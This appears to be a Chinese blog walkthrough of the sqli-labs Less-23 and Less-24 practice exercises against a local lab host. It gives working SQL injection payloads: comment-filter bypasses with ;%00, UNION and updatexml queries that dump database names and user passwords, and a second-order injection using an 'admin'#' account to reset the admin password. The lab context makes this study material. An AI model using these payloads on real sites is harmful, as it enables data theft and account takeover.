• sqli lab 23 、24


    less23  法1

    输入用户名和密码  admin ~~admin

    http://192.168.50.100/sqli/Less-23/?id=1'     ‘报错  说明有注入漏洞

     

    23关和第1关很像,但是观察代码发现他对--+和#都进行了转义,不能再用这种方式注释,将--+  和 #都进行了替换 替换成了空格

     可以用新的注释符:   “   ;%00   ”  或者and和or语句进行闭合

    http://192.168.50.100/sqli/Less-23/?id=1' ;%00

    判断列数

    http://192.168.50.100/sqli/Less-23/?id=1'   order by  3 ;%00

    http://192.168.50.100/sqli/Less-23/?id=1'   order by  4;%00

    添加一个不存在得id值 判断显示位置http://192.168.50.100/sqli/Less-23/?id=11111'   union  select 1,2,3   ;%00

    http://192.168.50.100/sqli/Less-23/?id=0' union select 1,2,group_concat(schema_name) from    information_schema.schemata ;%00 查库名

     http://192.168.50.100/sqli/Less-23/?id=0' union select 1,2,group_concat(table_name) from  information_schema.tables where table_schema = 0x7365637572697479 ;%00

       查表名.

    http://192.168.50.100/sqli/Less-23/?id=-1'  union select 1,2, group_concat(column_name) from information_schema.columns where table_name = 0x7573657273   ;%00 查字段名
    http://192.168.50.100/sqli/Less-23/?id=0' union select 1,2,group_concat(concat_ws('-',username,password)) from security.users ;%00  查出字段中所有的值

    less23  法2

    http://192.168.50.100/sqli/Less-23/?id=0' order by 10;   这个语句肯定是错误得  因为没有闭合

    换另一种闭合方式    

    ‘ order by 10 and  ’1‘=‘1      返回是正常的,但是由于我们已知肯定没有10列,这是为什么还会返回正常?

    ‘ order by 10 or ’1‘=‘1 此时使用or,返回依旧正常

    为什么呢?

    我们回到mysql命令行,执行以下语句:
    1.  select * from users where id =1 ; 此时返回数据肯定是正常的。
    2. select * from users where id =1  and 1=1; 此时返回数据也是正常的。
    3. select * from users where id =1  or  1=1;   此时返回了所有的数据。
    4. select * from users where id =11111  or  1=1; 此时也是返回了所有的数据。 说明执行的时候是  A or B
    5. select * from users where id =1 order by 3; 返回正常,肯定正常。
    6. select * from users where id =1  order by 3 and 1=1; 此时依旧返回正常。
    7. select * from users where id =1  order by 4444 and 1=1;   此时返回正常
    8.    select * from users where id =1  order by 4444 or  1=1;   依旧返回正常
    9.  select * from users where id =1  and 1=1 order by 3;  此时返回正常
    10. select * from users where id =1  and 1=1 order by 3333;  返回不存在这个列,也可以理解为正常。
    11. select * from users where id =1111  and 1=1 order by 3;   返回为空,但是语句执行正常。

     你可以理解为order by 在执行的时候被忽略了,这是由于mysql解析顺序决定的。具体参考: : https://www.cnblogs.com/annsshadow/p/5037667.html

    使用order by 10 ; 我们知道永远都不可能有报错的情况,所以对此,less23中建议使用union select进行

    使用以下语句判断列数

    http://192.168.50.100/sqli/Less-23/?id=-1'union select 1,2,3 and '1' and '1   返回正确

    并且知道修改第一个和第二个位置

    http://192.168.50.100/sqli/Less-23/?id=-1'union select 1,2,3,4  and '1' and '1   4列返回有错误 

    http://192.168.50.100/sqli/Less-23/?id=-1'union select 1,(select group_concat(schema_name) from information_schema.schemata),3  and '1' and '1

    http://192.168.50.100/sqli/Less-23/?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479),3  and '1' and '1

    http://192.168.50.100/sqli/Less-23/?id=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273), 3  and '1' and '1

    http://192.168.50.100/sqli/Less-23/?id=-1'union select 1,  (select  group_concat(concat_ws(0x7e,username,password)) from security.users),  3  and '1' and '1

    报错注入:

    http://192.168.50.100/sqli/Less-23/?id=1‘ and updatexml(1,concat(0x7e,(database())),1) or ’1‘=‘1 报错出数据库



    http://192.168.50.100/sqli/Less-23/?id=1‘ and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) or ’1‘=‘1

    查询所有的数据库,使用limit进行逐个查询。

     

    less24

    前置基础知识:二次注入

    二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

    二次注入,可以概括为以下两步:

    第一步:插入恶意数据 进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

    第二步:引用恶意数据 开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

    例: 输入参数 id= 1‘    传输转义id= 1’  时转义之后无法注入存入数据库为 1’  再次取出直接闭合

     学习链接:https://www.cnblogs.com/cute-puli/p/11145758.html

    注意:我们在windows中用phpstudy环境搭建sqli-labs,解压的时候24关可能存在名称相同问题,所以需要重命名操作

    才能进行:

    按照二次注入原理:首先创建一个恶意账户admin'#,密码是123

    新用户登陆:

    修改密码为123456,注意此时从数据库中修改是查找的‘admin’#‘,并不会进行转义,所以最后修改的是admin的密码

    此时用admin登陆,密码就变成了123456。

     

    Waf绕过可大致分为三类:  1.白盒绕过
                                                 2. 黑盒绕过
                                                 3. fuzz测试

     

  • 相关阅读:
    vue 监听变量或对象
    同行span标签设置display:inline-block;overflow:hidden垂直对齐问题
    vue style 的scoped 使用
    判断两个对象是否相等
    js call 和 apply方法记录
    接口联调遇到的坑 总结
    onclick或者其他事件在部分移动端无效的问题
    js 迭代方法
    原生js实现类的添加和删除,以及对数据的add和update、view ,ajax请求 ,页面离开的操作,获取url中参数等方法
    input 的radio checkbox 和 select 相关操作
  • 原文地址:https://www.cnblogs.com/xingyuner/p/12238440.html
Copyright © 2020-2023  润新知